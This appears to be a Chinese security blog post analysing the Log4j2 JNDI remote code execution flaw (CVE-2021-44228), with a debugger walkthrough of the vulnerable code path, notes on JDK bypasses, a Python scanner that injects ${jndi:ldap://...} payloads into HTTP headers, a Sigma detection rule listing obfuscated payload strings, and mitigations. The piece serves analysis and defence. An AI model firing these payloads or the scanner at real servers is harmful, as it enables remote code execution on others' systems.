前言

原理:

该漏洞的触发点在于,利用

org.apache.logging.log4j.Logger进行log或error等记录操作时,未对日志message信息进行有效检查,在format方法中会判断传入的参数中是否存在 ”${“ 参数,当存在时,就会将传入的以“${“开头,以“}”结尾的内容进行提取,然后将其value值传入lookup方法,而log4j的lookup方法可以调用jdni、rmi进行代码执行,最终造成反序列号漏洞被利用。

漏洞影响范围:

Apache log4j2 2.0 – 2.14.1 版本均受影响。

安全版本:

Apache log4j-2.16.0-rc1

环境搭建

下载log4j2_rce ,idea直接打开运行即可,如果漏洞无法利用,可以更换jdk版本,或者配置trustURLCodebase的参数为ture。

log4j2漏洞原理_log4j2滚动日志文件_log4j2

代码分析

首先在logger.error设置断点调试;

继续跟进,位置:

C:UsersHOME.m2repositoryorgapachelogginglog4jlog4j-core2.8.1log4j-core-2.8.1-sources.jar!orgapachelogginglog4jcoreconfigLoggerConfig.java

log4j2滚动日志文件_log4j2_log4j2漏洞原理

对输入内容 event,进行encode加密;

log4j2漏洞原理_log4j2_log4j2滚动日志文件

encode方法对输入内容序列化。

log4j2漏洞原理_log4j2滚动日志文件_log4j2

event为

Logger=com.kk.log4j2_rce.controller.UserController Level=ERROR Message=${jndi:ldap://127.0.0.1:1389/wl3ljc}

controls[0]为:

org.apache.logging.log4j.core.config.AppenderControl@204bf81b[appender=DefaultConsole-2, appenderName=DefaultConsole-2, level=null, intLevel=2147483647, recursive=java.lang.ThreadLocal@79f6b95f, filter=null],

主要完成时间的格式化。调用方法:

org.apache.logging.log4j.core.pattern.DatePatternConverter$CachedTime@2b0e33dc

具体位置:

C:UsersHOME.m2repositoryorgapachelogginglog4jlog4j-core2.8.1log4j-core-2.8.1-sources.jar!orgapachelogginglog4jcorelayoutPatternLayout.java

event 为

Logger=com.kk.log4j2_rce.controller.UserController Level=ERROR Message=${jndi:ldap://127.0.0.1:1389/wl3ljc}

当 i=8时,formatters[8]等于

org.apache.logging.log4j.core.pattern.PatternFormatter@4c0f3151[converter=org.apache.logging.log4j.core.pattern.MessagePatternConverter@bbe10d7, field=org.apache.logging.log4j.core.pattern.FormattingInfo@28ad1cd6[leftAlign=false, maxLength=2147483647, minLength=0, leftTruncate=true]];

主要对输入内容Message字段进行格式化;

log4j2漏洞原理_log4j2_log4j2滚动日志文件

log4j2_log4j2滚动日志文件_log4j2漏洞原理

workingBuilder执行结果为

11:53:33.848 [http-nio-8080-exec-1] ERROR com.kk.log4j2_rce.controller.UserController - ${jndi:ldap://127.0.0.1:1389/wl3ljc}

位置:

C:UsersHOME.m2repositoryorgapachelogginglog4jlog4j-core2.8.1log4j-core-2.8.1-sources.jar!orgapachelogginglog4jcorelayoutPatternLayout.java

log4j2_log4j2滚动日志文件_log4j2漏洞原理

代码:

if (config != null && !noLookups) {for (int i = offset; i < workingBuilder.length() - 1; i++) {if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {final String value = workingBuilder.substring(offset, workingBuilder.length());workingBuilder.setLength(offset);workingBuilder.append(config.getStrSubstitutor().replace(event, value));}}}

config.getStrSubstitutor().replace(event, value)代码执行已经完成,具体如下:

代码右键,选择:Evaluate Expression,参考链接:

log4j2漏洞原理_log4j2_log4j2滚动日志文件

智能步入,一行代码里有好几个方法,怎么只选择某一个方法进入。按 Force Step Into (Alt + Shift + F7)进入到方法内部,具体如图:

log4j2漏洞原理_log4j2滚动日志文件_log4j2

log4j2滚动日志文件_log4j2漏洞原理_log4j2

继续深入,调用resolver.lookup方法,

log4j2_log4j2滚动日志文件_log4j2漏洞原理

而final Object value = jndiManager.lookup(jndiName);调用jndi的lookup方法,从而导致反序列化漏洞的产生。

用了高版本JDK,漏洞就免疫了吗?

答案:

可以,首先,该漏洞能否利用与JDK版本有关,在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。但openjdk version “11” ,包括之前版本,漏洞没有任何限制可以被利用。

java 版本或log4j 版本问题,导致楼无法利用的解决办法:

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");

修改com.sun.jndi.ldap.object.trustURLCodebase选项,默认为true,漏洞利用成功。

高版本JDK,漏洞如何利用呢?

KINGX提到了如下两种绕过方式:

找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。

利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

测试用例

测试脚本:

# -*- coding: UTF-8 -*-
import requestsimport time
def header_scan(url, payload):headers = {"User-Agent": "%s Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36" % payload,"Connection": "close","Content-Length": "73","Accept": "text/html%s" % payload,"Referer": "%s" % payload,"Content-Type": "application/json; charset=UTF-8","Accept-Encodin": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9%s" % payload,
"X-Forwarded-For": "%s" % payload,"X-Api-Version": "%s" % payload,}Cookie = {"JSESSIONID": payload}try:req = requests.get(url, headers=headers, cookies=Cookie, timeout=10)except Exception as e:print(e)
if __name__ == '__main__':url = "http://192.168.80.155:8080/hello" # 输入url地址payload = "${jndi:ldap://yx3r0p.ceye.io}" # 输入dnslog地址header_scan(url, payload) # 只验证头信息

检测规则

Sigma检测规则如下:

title: Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞description: 检测Log4j2远程代码执行漏洞(CVE-2021-44228)漏洞status: testdate: 2022/04/29author: bigsealogsource:category: webserverdetection:keywords:- '${jndi:ldap:/'- '${jndi:rmi:/'- '${jndi:ldaps:/'- '${jndi:dns:/'- '/$%7bjndi:'- '%24%7bjndi:'- '$%7Bjndi:'- '%2524%257Bjndi'- '%2F%252524%25257Bjndi%3A'- '${jndi:${lower:'- '${::-j}${'- '${jndi:nis'- '${jndi:nds'- '${jndi:corba'- '${jndi:iiop'- 'Reference Class Name: foo'- '${${env:BARFOO:-j}'- '${::-l}${::-d}${::-a}${::-p}'- '${base64:JHtqbmRp'- '${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}$'- '${${lower:j}ndi:'- '${${upper:j}ndi:'- '${${::-j}${::-n}${::-d}${::-i}:'filter:- 'w.nessus.org/nessus'- '/nessus}'condition: keywords and not filterfalsepositives:- Vulnerability scanninglevel: high

缓解措施

1. 升级最新版本;在业务许可的情况下建议升级log4j-2.16.0-rc1以上版本;

2. 升级已知受影响的应用及组件,如spring-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid;

缓解措施:

(1)jvm 参数-Dlog4j2.formatMsgNoLookups=true

(2)log4j2.formatMsgNoLookups=True

(3)系统环境变量

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

(4)限制不必要的业务访问外网。

(5)采用 rasp 对lookup的调用进行阻断。

(6)采用 waf 对请求流量中的${jndi进行拦截。

参考链接

%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

log4j2_log4j2漏洞原理_log4j2滚动日志文件

END

限 时 特 惠: 本站每日持续更新海量各大内部创业教程,一年会员只需98元,全站资源免费下载 点击查看详情
站 长 微 信: lzxmw777

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注